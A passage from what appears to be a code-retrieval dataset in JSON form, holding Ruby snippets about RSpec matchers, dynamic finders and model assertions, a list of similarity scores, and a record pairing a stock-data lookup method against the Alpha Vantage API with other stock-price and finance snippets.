Hash[[:#{attribute_names.join(',:')}].zip(args)] # attributes = Hash[[:user_name, :password].zip(args)]\n scoped(:conditions => attributes) # scoped(:conditions => attributes)\n end # end\n METHOD\n send(method_id, *arguments)\n end\n else\n super\n end\n end",
"def matcher_defined?(matcher)\n RSpec::Matchers.method_defined?(matcher)\nend",
"def matcher_defined?(matcher)\n RSpec::Matchers.method_defined?(matcher)\nend",
"def be_applied_middleware\n Spec::Support::Matchers::BeAppliedMiddlewareMatcher.new\n end",
"def find_record_by(model)\n raise_must_override\n end",
"def match; end",
"def match; end",
"def test_respond_to\n matz = Person.find(1)\n assert_respond_to matz, :name\n assert_respond_to matz, :name=\n assert_respond_to matz, :name?\n assert_not matz.respond_to?(:super_scalable_stuff)\n end",
"def exact_match?(new_model, crucial_params, match_params)\n all_params = crucial_params.merge(match_params)\n # logger.info \"all_params: #{all_params}\"\n matches = new_model.class.where(all_params)\n return false unless matches.any?\n if matches.count > 1\n logger.warn 'Multiple exact matches found for the scraped new model. Something is wrong'\n logger.info \"#{matches.count} matches found for #{new_model.class} with params #{all_params}\"\n end\n if new_model.class == SimpleEvent\n logger.info \"exact match found for params #{all_params.keys}, moving to next item\"\n end\n true\n end",
"def matches?(object, query = T.unsafe(nil)); end",
"def scope_matcher(type, class_or_proc)\n scope_matchers << [type, class_or_proc]\n end",
"def matcher(valid_attributes, matchable, options = {})\n return false unless matchable.exists?\n return (options.keys & valid_attributes).all? do |key|\n options[key] === matchable.send(key.to_s.gsub(/-/, '_'))\n end\n end",
"def match\n @argument_matchers[0...-1].each_with_index do |argument_matcher, index|\n @argument_matchers[index + 1].successor = argument_matcher\n end\n\n chain_matcher = @argument_matchers.last\n chain_matcher.check_to_assing_and_match(@data)\n end",
"def parameter_rule?; end",
"def matches_requirement?(query, option, requirement); end",
"def should(matcher)\n raise \"Bad Matcher\" unless matcher.is_a?(Array) and matcher.length == 2\n key, args = matcher\n @requirements[key] = (@requirements.key?(key)) ? @requirements[key] + args : args\n end",
"def method_missing(name, *args)\n return super unless name =~ /is_(.*)\\?/\n func_kind = /is_(.*)\\?/.match(name).captures.first\n matches = func_kind.to_sym == kind\n matches = (matches && is?(args.first)) if args.size == 1\n return matches\n end",
"def dynamic_subject_qualifies?(subject, dynamic_qualifiers, context)\n if method(:subject_qualifies?).parameters.include?([:key, :dynamic_qualifiers])\n subject_qualifies?(subject, context, dynamic_qualifiers: dynamic_qualifiers)\n else\n subject_qualifies?(subject, context)\n end\n end",
"def conditions_met?(object, associations); end",
"def override_condition_matching?(_subject, _name, _value)\n true\n end",
"def method_missing(name, *args)\n dyna = DynamicFinder.new(name, *args)\n finder, conditions = dyna.finder, dyna.conditions\n results = find(finder, :conditions => conditions)\n results ? results : dyna.create(self)\n end",
"def super_match(*args)\n return unless match = match(args.first) \n returning match do |m|\n args[1..-1].each_with_index { |name, index| m.meta_def(name) { self[index+1] } }\n end\n end",
"def should\n @should\n end",
"def should\n @should\n end",
"def should\n @should\n end",
"def matches?(actual, &block)\n @actual = actual\n result = @actual.table_exists?(@table_name)\n the_block = block || @block\n the_block.call(@actual[@table_name]) if result && the_block\n result\n end",
"def on_matched\n end",
"def matcher(key, value)\n if value.is_a?(Hash)\n name = \"Humanoid::Matchers::#{value.keys.first.gsub(\"$\", \"\").camelize}\"\n return name.constantize.new(attributes[key])\n end\n Default.new(attributes[key])\n end",
"def all_be_a( expected_mod )\n\t\tEnumerableAllBeMatcher.new( expected_mod )\n\tend",
"def define_resource_matchers(actions, resource_types, name_attribute)\n actions.product(resource_types).flatten.each_slice(2) do |action, resource_type|\n RSpec::Matchers.define \"#{action}_#{resource_type}\".to_sym do |name|\n match do |chef_run|\n accepted_types = [resource_type.to_s]\n accepted_types << 'template' if action.to_s == 'create' and resource_type.to_s == 'file'\n chef_run.resources.any? do |resource|\n accepted_types.include? resource_type(resource) and resource.send(name_attribute) == name and\n resource.action.to_s.include? action.to_s\n end\n end\n failure_message_for_should do |actual|\n \"No #{resource_type} resource named '#{name}' with action :#{action} found.\"\n end\n failure_message_for_should_not do |actual|\n \"Found #{resource_type} resource named '#{name}' with action :#{action} that should not exist.\"\n end\n end\n end\nend",
"def should\n @should\n end",
"def test_class_filter__class_and_method_match\n class_filter = Class_filter\n \n context = {:class_name => \"Dryml\", :method_name => \"build_a\"}.context\n \n options = {:filters => class_filter} \n exec = Tracing::Filter::Executor.new(options) \n result = exec.filters_allow?('msg', context)\n assert_equal true, result, \"Filter should allow passage\" \n end",
"def rspec_matcher?(target)\n target.respond_to?(:matches?)\n end",
"def table_has_columns(clazz, type, *column_names)\n column_names.each do |column_name|\n column = clazz.columns.select {|c| c.name == column_name.to_s}.first\n it \"has a #{type} named #{column_name}\" do\n column.should_not be_nil\n column.type.should == type.to_sym\n end\n end\nend",
"def matches? actual\n super\n\n raise ArgumentError.new('must specify a new method name') if new_method_name.nil?\n\n responds_to_methods? && aliases_method?\n end",
"def override_conditions_hash_matching?(_subject, _conditions)\n false\n end",
"def mock_expected(model,expected)\n other='tag'==model ? [] : :all\n t,p ='tag'==model ? [expected,other] : [other,expected]\n mock_file_tags t\n mock_directory_pictures p\n mock_unpaired_names []\n end",
"def match()\n end",
"def compare_matchers(key, new_matcher, matcher)\n # Priority arrays come before \"provides\"\n if new_matcher[:value].is_a?(Array) != matcher[:value].is_a?(Array)\n return new_matcher[:value].is_a?(Array) ? -1 : 1\n end\n\n cmp = super\n if cmp == 0\n # Sort by class name (ascending) as well, if all other properties\n # are exactly equal\n if new_matcher[:value].is_a?(Class) && !new_matcher[:override]\n cmp = compare_matcher_properties(new_matcher, matcher) { |m| m[:value].name }\n if cmp < 0\n Chef::Log.warn \"You are overriding #{key} on #{new_matcher[:filters].inspect} with #{new_matcher[:value].inspect}: used to be #{matcher[:value].inspect}. Use override: true if this is what you intended.\"\n elsif cmp > 0\n Chef::Log.warn \"You declared a new resource #{new_matcher[:value].inspect} for resource #{key}, but it comes alphabetically after #{matcher[:value].inspect} and has the same filters (#{new_matcher[:filters].inspect}), so it will not be used. Use override: true if you want to use it for #{key}.\"\n end\n end\n end\n cmp\n end",
"def matches_dynamic_role_check?(method_id)\n\t\t/^is_([a-zA-Z]\\w*)\\?$/.match(method_id.to_s)\n\tend",
"def match\n true\n end",
"def assert_models(expected_models, table, should_not = false)\n model_klass = expected_models.first && expected_models.first.class.base_class rescue expected_models.first.class\n\n map_table_columns!(table)\n rows = map_table_headers(table).hashes\n if should_not\n expected_models.count.should_not == rows.size\n else\n expected_models.count.should == rows.size\n end\n\n first_column_name = table.headers[0]\n\n rows.each_with_index do |requested_params, row_index|\n #Assume first column is unique identifier\n #TODO: just use all columns as conditions.\n default_identifier = requested_params[first_column_name]\n\n #find the model for this row\n model_under_test = expected_models.detect {|model| model.send(first_column_name).to_s == default_identifier }\n\n unless should_not\n model_under_test.should_not be_nil\n end if\n\n if model_under_test\n #compare model with expectations\n requested_params.each do |attribute_name, expected_value|\n actual = model_under_test.send(attribute_name)\n if actual.is_a?(ActiveRecord::Base)\n actual = actual.send(actual.class.friendly_id_config.column)\n end\n if should_not\n err_msg = \"Expected ##{attribute_name} for '#{model_klass.name}:#{default_identifier}'\\n\\t to NOT have: '#{expected_value}'\\n\\tbut was: '#{actual}'\\n * Expectations: #{requested_params.inspect} \\n * #{model_klass.name}:#{default_identifier}: #{model_under_test.inspect}.\\n\\n\"\n actual.to_s.should_not eql(expected_value), err_msg\n else\n err_msg = \"Expected ##{attribute_name} for '#{model_klass.name}:#{default_identifier}'\\n\\t to be: '#{expected_value}'\\n\\tbut was: '#{actual}'\\n * Expectations: #{requested_params.inspect} \\n * #{model_klass.name}:#{default_identifier}: #{model_under_test.inspect}.\\n\\n\"\n actual.to_s.should eql(expected_value), err_msg\n end\n end\n end\n end\nend",
"def check_record; end",
"def test_all_invalid_columns\n process :nasty_columns_2\n assert_response :success\n\n assert_deprecated_assertion { assert_invalid_record 'company' }\n assert_deprecated_assertion { assert_invalid_column_on_record 'company', 'rating' }\n assert_deprecated_assertion { assert_invalid_column_on_record 'company', 'name' }\n assert_deprecated_assertion { assert_invalid_column_on_record 'company', %w(name rating) }\n end",
"def match\n self.class.match.with_instance(self)\n end",
"def mock_empty_named_scope(model, named_scope)\n # For any instance of model, stub the named_scope and have it return an object that responds to :count with a value of 0\n model.any_instance.stubs(named_scope).returns(mock(:count => 0))\nend"
] | [
"0.6095344",
"0.6095344",
"0.601724",
"0.586645",
"0.584155",
"0.57155013",
"0.57155013",
"0.56945103",
"0.56650347",
"0.56650347",
"0.56473196",
"0.55980855",
"0.5580978",
"0.5539212",
"0.55221885",
"0.5480839",
"0.54290557",
"0.5403255",
"0.5346151",
"0.5335227",
"0.53263247",
"0.5325894",
"0.52975994",
"0.5261189",
"0.5253244",
"0.5215677",
"0.52138865",
"0.52126086",
"0.5208094",
"0.5197035",
"0.5192201",
"0.5161163",
"0.5151424",
"0.51496464",
"0.51345164",
"0.51224345",
"0.5119797",
"0.5096354",
"0.5061437",
"0.50522965",
"0.5031925",
"0.50282335",
"0.5026934",
"0.50009954",
"0.4995974",
"0.49885514",
"0.49825707",
"0.49818778",
"0.49662787",
"0.49557436",
"0.49530718",
"0.4935271",
"0.49276432",
"0.49250352",
"0.49228883",
"0.49221006",
"0.49197045",
"0.49197045",
"0.49146774",
"0.49055797",
"0.49048823",
"0.49048823",
"0.49038005",
"0.4903577",
"0.48832086",
"0.48828018",
"0.48823148",
"0.48743972",
"0.48538703",
"0.48535788",
"0.48465025",
"0.48431367",
"0.48381415",
"0.4835459",
"0.48305964",
"0.48275286",
"0.48267794",
"0.48235717",
"0.48235717",
"0.48235717",
"0.48129103",
"0.4812451",
"0.48099205",
"0.48067337",
"0.4795586",
"0.47910178",
"0.47836152",
"0.47737005",
"0.47729087",
"0.47720012",
"0.47506273",
"0.4744747",
"0.4737396",
"0.47360948",
"0.47357014",
"0.47300225",
"0.4722548",
"0.47210655",
"0.4718921",
"0.47104326",
"0.47060758"
] | 0.0 | -1 |
Returns current stock data (hash table) | def get_current_stock_data(input)
url = "https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol=#{input}&apikey=#{ENV['STOCKS_API_KEY']}"
response = RestClient.get(url)
my_response = JSON.parse(response)
if my_response["Error Message"] == "Invalid API call. Please retry or visit the documentation (https://www.alphavantage.co/documentation/) for TIME_SERIES_DAILY." || my_response["Note"] == "Thank you for using Alpha Vantage! Our standard API call frequency is 5 calls per minute and 500 calls per day. Please visit https://www.alphavantage.co/premium/ if you would like to target a higher API call frequency."
false
else
daily_stock_info = my_response["Time Series (Daily)"][current_date_to_YYYYMMDD]
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def current_symbols\n @interface.stock_symbols\n end",
"def stock_historical_data(ticker)\n ############################################################################\n # Yahoo Finance historical quotes has been deprecated\n # YahooFinance::Client.new.historical_quotes(ticker, { start_date: Date.today - days, end_date: Date.today })\n ############################################################################\n i = 0\n history = { date: [], price: [] }\n\n url = \"https://finance.yahoo.com/quote/\" + ticker + \"/history?\"\n doc = Nokogiri::HTML(open(url))\n data = doc.at('table[data-test=\"historical-prices\"]')\n\n while i < data.children[1].children.length do\n check = data.children[1].children[i].text\n\n if (!check.include?('Dividend') && !check.include?('Split'))\n \thistory[:date] << data.children[1].children[i].children[0].text\n \thistory[:price] << data.children[1].children[i].children[5].text.to_f\n end\n\n i+=1\n end\n history\n end",
"def graph_data\n\n\t\t# stock data\n\t\t@stock_data = HistoricalStockPrice.where(:stock_id => @stock_object.id).pluck(:last_traded_at, :price)\n\t\t\n\t\t@stock_data.map! { |time, price| [time.to_time.to_i * 1000, price.to_f] }\n\t\t@stock_data.sort_by! { |time, price| time }\n\t\t\n\t\t# puts \"stock data is:\"\n\t\t# @stock_data.each do |time, price|\n\t\t# \tputs \"Time: #{time}, Price: #{price}\"\n\t\t# end\n\n \treturn @stock_data\n \tend",
"def getStockData(stock)\n stock = stock.upcase\n if [email protected]?(stock) # Checks if stock exists\n puts \"Invalid stock entered\"\n return\n end\n @data.each do |key, value|\n if key.to_s == stock.to_s # If match is found for that stock\n puts \"Stock data for #{stock}:\"\n value.each_with_index do |curr, i|\n weekData = {}\n weekData[:date] = curr[:date]\n weekData[:price] = curr[:close]\n puts \"#{weekData[:date]} - #{weekData[:price]}\"\n end\n break\n end\n end\n end",
"def get_stock_data(table, stockid)\n return $db.execute('SELECT * FROM ' + table + ' WHERE stockid = ?', stockid)\n end",
"def get_info_index\n @i = 0\n yahoo_client = YahooFinance::Client.new\n @tickers = Array.new\n @stocks.each do |stock|\n @tickers.push(stock.ticker_symbol)\n end\n #array of the amount change\n @index_data = yahoo_client.quotes([@tickers], [:change])\n end",
"def stock_prices\n @stocks.inject({}) do |hash, (symbol, stock)|\n hash[symbol] = stock.price\n hash\n end\n end",
"def scrapeForCurrentData()\n url = \"https://ca.finance.yahoo.com/quote/\" + @stockTicker + \"/key-statistics?\"\n result = {}\n page = Nokogiri::HTML(open(url))\n main_contents = page.css('tr td')\n main_contents.search('sup').remove\n main_contents.each_with_index do |content, index|\n if index%2 == 0\n result[content.text] = main_contents[index+1].text\n end\n end\n #puts result\n return result\n end",
"def get_stocks\n @stocks = Stock.where(user_id: session[:current_user_id]).order(\"ticker_symbol ASC\")\n end",
"def calculate_stocks\n stocks = stocks_owned\n .map { |stock| {ticker: stock[0], shares: stock[1]} }\n .sort_by { |stock| stock[:ticker] }\n\n # url = \"https://cloud.iexapis.com/stable/stock/market/batch?types=quote,chart&range=1d&token=#pk_2d262b4b89114ceda9b7ada2d9e99bb9&symbols=\"\n # stocks.each { |stock| url += \"#{stock[:ticker]},\"}\n # response = JSON.parse(open(url).read)\n\n stocks.each_with_index do |stock, idx| \n response = JSON.parse(open(\"https://cloud.iexapis.com/stable/stock/market/batch?types=quote,chart&range=1d&token=pk_2d262b4b89114ceda9b7ada2d9e99bb9&symbols=#{stock[:ticker]}\").read)\n\n \n stock[:price] = response[stock[:ticker]]['quote']['latestPrice']\n stock[:intraday] = response[stock[:ticker]]['chart']\n end\n\n stocks\n end",
"def raw_stock_data_for_ticker(ticker)\n all_ticker_data = raw_stock_data.select { |r| r[0] == ticker }\n end",
"def raw_stock_data\n return @raw_stock_data unless @raw_stock_data.nil?\n\n raw_response = JSON.load(HTTParty.get(QUANDL_ENDPOINT).body)\n @raw_stock_data = raw_response['datatable']['data']\n end",
"def historic_stock(year)\n\n data = query_strategy.historic_stock(year)\n\n end",
"def quote_hash\n portfolio = YahooFinance::Client.new\n stock = [self.stock_symbol]\n\n returned_instance = portfolio.quotes(stock, [:name, :last_trade_date, :last_trade_time, :last_trade_price, :ask])\n returned_instance[0]\n end",
"def stocks(refresh = false)\n @stocks = nil if refresh\n @stocks ||= begin\n @client.get(\"venues/#{@venue_symbol}/stocks\")['symbols'] rescue nil\n end\n end",
"def hash\n [last_price, last_time, last_size, bid_price, bid_size, ask_price, ask_size, open_price, close_price, high_price, low_price, exchange_volume, market_volume, updated_on, source, listing_venue, sales_conditions, quote_conditions, market_center_code, is_darkpool, security].hash\n end",
"def history(currency)\n\t\treturn @history[currency]\n\tend",
"def parseData()\n stockData = Hash.new # Desired hash containing the data\n stock = @data[:stock][0]\n @data.each do |row|\n row[:close] = row[:close].to_s.sub('$','') # Remove the dollar sign from closing price\n closeData = {}\n stock = row[:stock]\n if !stockData.key?(stock) # Checks if the key already exists\n stockData[stock] = []\n end\n closeData[:date] = row[:date]\n closeData[:close] = row[:close]\n stockData[stock] << closeData # Pushes data to the final resultant hash\n if [email protected]?(row[:date].to_s) \n @days << row[:date].to_s # Populates days array if date not already present\n end\n if [email protected]?(row[:stock].to_s)\n @stocks << row[:stock].to_s # Populates stocks array if stock not already present\n end\n end\n @data = stockData\n end",
"def getStock(symbol)\n\n return StockQuote::Stock.batch([\"quote\",\"logo\"],symbol)\n\n end",
"def stocks\n\n end",
"def getStock(symbol)\n\n return StockQuote::Stock.batch([\"quote\",\"logo\"],symbol)\n\n end",
"def of_current_stock\n product = params[:product]\n store = params[:store]\n current_stock = 0\n if product != '0' && store != '0'\n current_stock = Stock.find_by_product_and_store(product, store).current rescue 0\n end\n # Format numbers\n current_stock = number_with_precision(current_stock.round(4), precision: 4)\n # Setup JSON\n @json_data = { \"stock\" => current_stock.to_s }\n render json: @json_data\n end",
"def load_all_raw_data_into_redis\n\t$all_stock_list.each do |symbol,name|\n\t\tputs \"#{symbol} start\"\n\t\tyahoo_get_raw_data_from_file(symbol)\n\tend\n\nend",
"def get_stock(stock_ticker)\n stock = StockQuote::Stock.quote(stock_ticker)\n return stock\nend",
"def si_current_stock\n product = params[:product]\n store = params[:store]\n current_stock = 0\n if product != '0' && store != '0'\n current_stock = Stock.find_by_product_and_store(product, store).current rescue 0\n end\n # Format numbers\n current_stock = number_with_precision(current_stock.round(4), precision: 4)\n # Setup JSON\n @json_data = { \"stock\" => current_stock.to_s }\n render json: @json_data\n end",
"def stoxx\n puts \"\\n******* stoxx *******\"\n\n # == data format: yyyymmdd[hhmm[ss]]\n startDate = \"20170121\" + \"000000\"\n endDate = \"20170317\" + \"000000\"\n symbol = \"IBM\"\n remote_key = Rails.application.config.bar_chart_key\n\n remote_url = \"https://marketdata.websol.barchart.com\"\n remote_url += \"/getHistory.json?key=\" + remote_key + \"&symbol=\" + symbol\n remote_url += \"&type=daily&startDate=\" + startDate + \"&endDate=\" + endDate\n\n json_data = HTTParty.get(remote_url)\n puts \" ** json_data['results'].length: #{json_data['results'].length.inspect}\"\n @stock_data = json_data['results']\n\n end",
"def stock_analysis(symbol, current_info = nil)\n # Grab current price\n logger.debug \"Looking up symbol #{symbol}\\n\"\n\n # Lookup stock info if we didn't already get it in batch\n if not current_info\n if @stock_source == nil\n @stock_source = GoogleFinanceScraper.new(DebugLogger.modes[:debug])\n end\n\n current_info = @stock_source.lookup_by_symbol(symbol)\n end\n\n # Get all transactions (group by lots when available)\n tran_records = Transaction.joins(:user).where(transactions: {:symbol => symbol, :user_id => current_user.id}).order(\"date\")\n\n lots = []\n lots.append(tran_records)\n\n summary = {}\n summary[:totalRealizedDollar] = 0.00\n summary[:totalRealizedPercent] = 0.00\n summary[:totalUnrealizedDollar] = 0.00\n summary[:totalUnrealizedPercent] = 0.00\n\n # Compute the gains and losses for each \"lot\"\n lots.each do |lot|\n quantity = 0.0\n cost = 0.0\n\n lot.each do |tran|\n if (tran.action)\n if (tran.action.is_dividend? or tran.action.is_interest?)\n summary[:totalRealizedDollar] += tran.amount\n elsif (tran.action.is_sell?)\n summary[:totalRealizedDollar] += tran.amount\n quantity -= tran.quantity\n elsif (tran.action.is_buy?)\n quantity += tran.quantity\n # Buy amounts are negative\n cost += tran.amount.abs\n elsif (tran.action.is_fee?)\n cost += tran.amount.abs\n end\n end # if tran.action\n end\n summary[:totalUnrealizedDollar] = quantity * current_info[\"price\"]\n summary[:totalCost] = 0-cost\n summary[:netValue] = summary[:totalUnrealizedDollar] + summary[:totalRealizedDollar] - cost\n summary[:percent] = summary[:netValue] / cost\n end\n\n result = {}\n result[:lots] = lots\n result[:summary] = summary\n result[:symbol] = symbol\n result[:currentPrice] = current_info[\"price\"]\n result[:change_amt] = current_info[\"change_amt\"]\n\n return result\n end",
"def stock_of(commodity)\n @stock[commodity_id(commodity)]\n end",
"def fetch_history(days)\n raw = YahooFinance::get_historical_quotes_days(self.stock_id, days)\n raw.each do |r|\n rd = Rawdatum.find_or_create_by_stock_map_id_and_record_date(self.id, r[0])\n rd.open_price = r[1]\n rd.high_price = r[2]\n rd.low_price = r[3]\n rd.close_price = r[4]\n rd.volume = r[5]\n rd.adjusted_close_price = r[6]\n rd.save\n end\n end",
"def get_historic_stock_data(ticker, date_from, date_to, frequency = \"1d\")\n url = \"https://query1.finance.yahoo.com/v7/finance/download/#{ticker}?period1=#{date_from.strftime(\"%s\")}&period2=#{date_to.strftime(\"%s\")}&interval=#{frequency}&events=history\"\n\n request = Typhoeus::Request.new(url)\n request.run\n result = request.response.body\n\n result.split(\"\\n\").drop(1).map { |row| YahooDataPoint.new(row) }\n end",
"def commit_time_data\n @buckets\n end",
"def build_stock_return_data\n open_values = []\n close_values = []\n\n @values.dig(:values).map do |_codes, _date, open, _high, _low, close|\n open_values.push [open]\n close_values.push [close]\n end\n\n @open = calculate_average(open_values)\n @close = calculate_average(close_values)\n @stock_return = stock_return_formula\n end",
"def share_prices\n stock_market.market.first\n end",
"def return_stock\n skus = Hash[sku_items.map {|i| [i.sku_id, i.quantity]}]\n Sku.return_stock!(skus)\n end",
"def repo_list\n stocks = Price.where(:sec_type => 'Stock')\n @stocks = stocks.collect { |stock| [stock, stock.last_update] }\n @options = Price.where('sec_type != ?','Stock')\n @history = History.all\n end",
"def trader\n\n# Rappel des methodes :\n\tsymbols_array = scrap_symbols \n\tprices_array = scrap_prices \n\ta = [] # Initialisation d'un array pour les stocker\n\n\tsymbols_array.each_with_index do |x, y|\t\n\t# -> On associe pour chaque item de symbols_array un item de prices_array\n\t\ta << {x => (prices_array)[y]} \n\t# -> On sauvegarde sous forme d'hash dans le tableau\n\tend\n\tprint a\n\treturn a \nend",
"def stock(item_id)\n stocks.find {|st| st.item_id === item_id }\n end",
"def hash\n [id, name, ticker, figi_ticker, ric, isin, sedol, exchange_mic, sponsor, type, description, inception_date, data_change_date, close_date, is_live_listed, legal_structure, intraday_nav_ticker, primary_ticker, primary_ticker_country_code, primary_listing_region, net_expense_ratio, asset_class, other_asset_types, market_cap_range, holds_only_nyse_stocks, holds_only_nasdaq_stocks, growth_value_tilt, growth_type, value_type, sector, industry, sub_industry, cross_sector_theme, natural_resources_type, excludes_financials, excludes_technology, us_or_excludes_us, developed_emerging, specialized_region, continent, latin_america_sub_group, europe_sub_group, asia_sub_group, specific_country, china_listing_location, us_state, real_estate, index_weighting_scheme, market_cap_weighting_type, fundamental_weighting_type, dividend_weighting_type, bond_type, government_bond_types, municipal_bond_region, municipal_vrdo, mortgage_bond_types, bond_tax_status, credit_quality, average_maturity, specific_maturity_year, bond_currency_denomination, laddered, zero_coupon, floating_rate, build_america_bonds, commodity_types, energy_type, agricultural_type, metal_type, inverse_leveraged, target_date_multi_asset_type, currency_hedged, currency_pair, social_environmental_type, clean_energy_type, dividend_type, regular_dividend_payor_type, holds_ml_ps, holds_preferred_stock, holds_closed_end_funds, quant_strategies_type, other_quant_models, hedge_fund_type, derivatives_based, holds_ad_rs, index_linked, includes_short_exposure, index_name, parent_index, index_family, broader_index_family, index_provider, fund_family, index_ticker, etn_issuing_bank, etn_maturity_date, livestock, dynamic_futures_roll, index_provider_code, single_category_designation, registered_countries, issuing_entity_country_code, ucits, replication_structure, domicile, base_currency, listing_currency, fund_listing_date, listing_country_code, listing_region, smartvs_traditional_beta, smartvs_traditional_beta_level2, income_category, etp_structure_type, month_end_assets, etf_portfolio_turnover, firstbridge_id, firstbridge_parent_id, number_of_holdings].hash\n end",
"def market_data\n endpoint = \"#{HOST}/v1/cryptocurrency/listings/latest\"\n get(endpoint)\n end",
"def stockname\n return stock_array[0]\n end",
"def available_stock\n @available_stock ||= current_stock - stocks.sum('quantity')\n end",
"def index\n headers['Last-Modified'] = Time.now.httpdate\n session_id = nil\n\n if !params[:symbols].nil?\n syms = params[:symbols].split(\",\")\n @stocks = params[:latest] ? [] : Stock.where(symbol: syms)\n\n login_response = AmeritradeHelper.login(params)\n puts \"*** login response #{login_response}\"\n unless login_response.nil?\n session_id = login_response[:session_id]\n login_date = login_response[:login_date]\n end\n\n if !session_id.nil?\n syms.each do |sym|\n new_stocks = AmeritradeHelper.get_stock_symbol(sym, !params[:historic].nil?, params, session)\n @stocks = @stocks + new_stocks unless new_stocks.nil? || !new_stocks.length\n end\n else\n puts \"*** session id is nil\"\n end\n\n else\n @stocks = Stock.all\n end\n\n response = {\n :meta => {\n :session_id => session_id,\n :login_date => login_date\n },\n :data => {\n # :stocks => @stocks.sort_by &:date\n # :stocks => @stocks.order(:date)\n :stocks => @stocks\n }\n }\n\n respond_to do |format|\n format.html\n format.json { render json: response }\n end\n end",
"def get_portfolio_symbols_and_prices\n holdings = self.portfolio_holdings\n @holding = Holding.new\n symbol_and_price = []\n holdings.each do |key, value|\n if key === \"MM\"\n symbol_and_price.push({key => 1})\n else\n price = @holding.get_price(key).to_f\n symbol_and_price.push({key => price})\n end\n end\n symbol_and_price\n end",
"def stock_details_for_list(symbol_list)\n\t\t\tsymbol_list = symbol_list.collect { |symbol| sanitize_symbol(symbol) }\n\n return [] if symbol_list.blank?\n\n\t\t\tfield_mappings = {\n\t\t\t\tname: 'n',\n\t\t\t\tsymbol: 's',\n\t\t\t\task: 'a',\n\t\t\t\task_realtime: 'b2',\n\t\t\t\tbid: 'b',\n\t\t\t\tbid_realtime: 'b3',\n\t\t\t\tdays_range: 'm',\n\t\t\t\tyear_range: 'w',\n\t\t\t\topen: 'o',\n\t\t\t\tprevious_close: 'p',\n\t\t\t\tvolume: 'v',\n\t\t\t\tdividend_yield: 'y',\n\t\t\t\tearnings_share: 'e',\n\t\t\t\tstock_exchange: 'x',\n\t\t\t\tlast_trade_time: 't1',\n\t\t\t\teps_estimate_current_year: 'e7',\n\t\t\t\teps_estimate_next_year: 'e8',\n\t\t\t\teps_estimate_next_quarter: 'e9',\n\t\t\t\tpe_ratio: 'r',\n\t\t\t\ttwo_hundred_day_moving_average: 'm4',\n\t\t\t\tfifty_day_moving_average: 'm3',\n\t\t\t\tlast_trade_date: 'd1'\n\t\t\t}\n\n\t\t\tstart_time = Time.now.to_f\n\n csv = RestClient.get \"http://download.finance.yahoo.com/d/quotes.csv?s=#{symbol_list.join(',')}&f=#{field_mappings.values.join}\"\n\n\t\t\tall_details = CSV.parse(csv).collect do |row|\n\t\t\t\tdetails = Hash[field_mappings.keys.zip(row.collect { |v| v.to_s.strip.gsub(/['\"]/, '')} )]\n\n quote = create_openstruct(details)\n\n\t\t\t\tunless quote.name == quote.symbol\n\t\t\t\t\tquote.currently_trading = (Date.strptime(quote.last_trade_date, '%m/%d/%Y') == Date.today)\n\n quote.current_price = [quote.ask_realtime, quote.ask, quote.previous_close].detect do |value|\n\t\t\t\t\t\tvalue.to_f > 0.0\n end\n\n\t\t\t\t\tquote.current_bid = quote.bid_realtime || quote.bid\n\n\t\t\t\t\tquote.buy_price = quote.current_price.to_f + Order::TRANSACTION_FEE\n\n\t\t\t\t\tquote.statements_url = \"http://investing.money.msn.com/investments/sec-filings/?symbol=#{quote.symbol}\"\n\n # calculate stock trend\n close = quote.previous_close.to_f\n\n current = quote.current_price.to_f\n\n point_change = (current - close)\n\n quote.point_change = (point_change >= 0 ? '+' : '') + point_change.round(2).to_s\n\n\t\t\t\t\tquote.percent_change = ((point_change / close)*100).round(2)\n\n quote.trend_direction = quote.percent_change >= 0 ? 'up' : 'down'\n\n\t\t\t\t\tquote\n\t\t\t\telse\n\t\t\t\t\treturn nil\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t#Rails.logger.debug \" Yahoo (#{((Time.now.to_f-start_time)*1000.0).round} ms): #{symbol_list}\" unless Rails.env.production?\n\n return Hash[symbol_list.zip(all_details)]\n\n\t\tend",
"def stock_market; end",
"def grats\n quants = [ 46043, 17140, 11105, 11956, 20928, ] \n\t # [ 80431, 31000, 18133, 20000, 28778 ]\n symbols = ['csco','crm','msft','intc','amat']\n costs = [ 1076070.00, 1108836.00, 406866.00, 283692.00, 233090.00 ]\n\t # [ 2104879.27, 2168140.00, 796038.70, 554400.00, 458721.32]\n @cash = 235782 # 155000\n @latest = [ ]\n prices = Options.stock_price(symbols)\n @total = 0\n prices.each do |s|\n symbol = s['Symbol']\n index = symbols.index(symbol)\n value = quants[index] * s['LastTrade'].to_d\n profit = (quants[index] * s['LastTrade'].to_d) - costs[index]\n change = (quants[index] * s['Change'].to_d)\n @total += profit \n @latest.push [ symbol.upcase, quants[index], change, profit, s['LastTrade'] ]\n end\n end",
"def stock_entities\n redis.smembers(\"#{Porp.ns}:saleentity:id:#{id}:stockentities\")\n end",
"def get_shares_of_stock(ticker)\n number_of_shares = 0\n @stocks.each do |item|\n if item.ticker == ticker\n number_of_shares = item.shares\n end\n end\n number_of_shares\n end",
"def crypto_master\n\tcrypto_symbols_array = scrapp_symbols \n\tcrypto_prices_array = scrapp_prices \n\ta = [] \n\n\tcrypto_symbols_array.each_with_index do |k, v|\n\t\ta << {k => (crypto_prices_array)[v]}\n\tend\n\tputs a\n\treturn a\nend",
"def get_historical_quotes(from, to)\n \tstocks = Stock.find(:all)\n \tfor stock in stocks\n \t\t\n market = (sec.market == 'sh' ? 'ss' : sec.market) \n sid = (sec.market == 'hk' ? sec.sid.slice(1,4) : sec.sid)\n \t\t\t\n \t\tYahooFinance::get_HistoricalQuotes( \"#{sid}.#{market}\", \n Date.parse(from),\n Date.parse(to) ) {|hq|\n \t\t\tquote = Quote.new\n \t\t\tquote.security = stock\n \t\t\tquote.sid = stock.sid\n \t\t\tquote.market = stock.market\n \t\t\tquote.name = stock.name\n quote.result_date = hq.date\n \t\t\tquote.open = hq.open\n \t\t\tquote.high = hq.high\n \t\t\tquote.low = hq.low\n \t\t\tquote.close = hq.close\n \t\t\tquote.adjClose = hq.adjClose\n \t\t\tquote.vol = hq.volume\n \t\t\tquote.save!\n \t\t}\n\t end\n end",
"def stockname\n \"#{CSV.parse_line(YahooStock.find_by_symbol(symbol).parsed_response)[0]}\"\n end",
"def get_brand_stock(brands_hash)\n\ttotal_stock_brand = 0\n\tbrands_hash.each do |item|\n\t\ttotal_stock_brand += item['stock']\n\tend\n\treturn total_stock_brand\nend",
